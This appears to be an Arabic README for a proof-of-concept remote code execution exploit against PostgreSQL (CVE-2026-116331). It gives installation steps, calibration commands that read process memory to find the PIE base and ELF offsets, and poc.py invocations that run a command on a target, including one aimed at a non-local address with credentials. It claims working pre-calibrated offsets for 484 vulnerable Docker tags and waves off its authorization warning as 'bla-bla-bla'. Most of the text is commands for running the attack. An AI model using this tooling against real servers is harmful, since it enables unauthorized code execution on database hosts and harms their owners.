إثبات مفهوم للاستغلال عن بُعد (RCE) لثغرة PostgreSQL CVE-2026-116331 مع معايرة إزاحات ELF، وتحديد قاعدة PIE، وملفات تعريف مُعايرة مسبقًا لـ 484 وسمًا من وسوم صور Docker المعرّضة للثغرة.
مختبر RCE محلي لـ PostgreSQL + PoC.
هراء محض، لكنه يعمل.
ثبّت الاعتماديات:
python3 -m pip install -r requirements.txt
عايِر نسخة قيد التشغيل دون تنفيذ أي أمر:
python3 calibrate.py PROFILE IP PORT --binary /path/to/postgres
هذا الوضع لا يستخدم Docker. PROFILE هو تسمية عشوائية آمنة؛ استخدم
التسمية نفسها لاحقًا مع poc.py. يجب أن يطابق ملف ELF نسخة الهدف تمامًا.
عايِر صورة Docker وحدّث offsets.json:
./calibrate.sh 18.6
يخزّن offsets.json إزاحات ثابتة فقط ولا يحتوي على عناوين ASLR.
وبالنسبة للوسوم غير المصابة يسجّل runtime_calibrated: false.
./demo.sh VERSION
./demo.sh 18.6
يُقبل أي وسم Docker صالح لـ postgres، مثل 18.6 أو 17.12.
يُدعم كل من صور glibc وAlpine/musl.
يستخدم العرض التجريبي 127.0.0.1، ومنفذًا محليًا حرًا، والأمر id>x.
ويتصل بالدور وقاعدة البيانات الافتراضيين postgres/postgres.
إذا لم يكن الوسم موجودًا في offsets.json، فسيقوم العرض التجريبي بمعايرته أولًا.
python3 poc.py VERSION IP PORT COMMAND
python3 poc.py VERSION IP PORT COMMAND \
--user USER --password PASSWORD --database DB
مثال بدون Docker:
python3 calibrate.py prod-a 10.0.0.5 5432 \
--binary /path/to/postgres \
--user postgres --password secret --database postgres
python3 poc.py prod-a 10.0.0.5 5432 'id>x' \
--user postgres --password secret --database postgres
يستخدم PoC الملف التعريفي المطابق من offsets.json. والقيم الافتراضية للهدف هي
postgres/postgres/postgres.
استخدم --verbose لطباعة تشخيصات PIE والـ heap والحمولة.
يقرأ calibrate.py الملفين /proc/self/maps و/proc/self/mem بصلاحيات postgres
للحصول على قاعدة PIE، وخانة مؤشر الدالة، وتخطيط الحمولة. يتطلب ذلك اتصالًا
بمستخدم PostgreSQL فائق الصلاحية. يستخرج calibrate.sh ملف ELF إلى
دليل مؤقت ويحذفه بعد المعايرة. تتم قراءة الـ heap بينما يكون مؤشر التسريب
لا يزال مفتوحًا؛ إذ تحرّر Alpine/musl التخصيص المسرَّب بمجرد إغلاق المؤشر.
الحد: COMMAND من 1 إلى 7 بايتات ASCII قابلة للطباعة. عادةً ما يقطع المشغّل
اتصال خادم PostgreSQL الخلفي. وبالنسبة لأمر معاد توجيهه مثل id>x، يقرأ PoC
ملف العلامة من دليل عمل الخادم الخلفي ويطبعه كـ OUTPUT؛
وهذا يتحقق أيضًا من التنفيذ عندما يُبلّغ PostgreSQL عن خطأ بعد أن يكون الأمر
قد نُفّذ بالفعل.
يحتوي offsets.json على ملفات تعريف معايَرة وقت التشغيل لجميع الوسوم الـ 484 المصابة
المدرجة في vulnerable-tags.txt. يتضمن كل ملف تعريف تجزئة ثنائية PostgreSQL
وإزاحات ثابتة؛ ويُعاد اكتشاف عناوين العمليات وقت التشغيل.
تم التحقق من صحة مجموعة البيانات في 2026-11-16: نجحت جميع تشغيلات PoC الـ 484. ويسجّل
تدقيق المرآة 466 بصمة فهرس صورة متطابقة و18 بصمة بيان فرعي linux/amd64 متطابقة
للوسوم الأقدم. يكتب مشغّل الدفعات ملفًا محليًا
calibration-report.json؛ وهو ناتج مُولَّد وليس جزءًا من
مجموعة البيانات المنشورة.
الملفات:
demo.sh - عرض تجريبي محلي لوسم PostgreSQL واحد.calibrate.py - تحديد إزاحات ELF وقاعدة PIE الحية.calibrate.sh - نشر وسم، ومعايرته، وتحديث offsets.json.calibrate_all.py - التحقق من كل وسم مصاب بصيغة X.Y وX.Y-suffix.mirror-digest-audit.json - مقارنات البصمات القياسية بين Docker Hub والمرايا؛
تعيد المعايرة الدفعية استخدام الصور المحلية المتطابقة فقط أو السحب من المرايا المثبّتة بالبصمة.vulnerable-tags.txt - متغيرات الوسوم الـ 484 التي تغطيها مجموعة بيانات الإزاحات.offsets.json - إزاحات ثابتة معايَرة مجمّعة حسب وسم Docker.poc.py - الاستغلال.pg_client.py - جلسة psycopg دائمة مع دعم SCRAM/md5.elf_offsets.py - محلّل ELF ومحدّد الإزاحات.requirements.txt - اعتماديات Python.استخدمه فقط ضد الأنظمة المصرّح لك باختبارها، bla-bla-bla.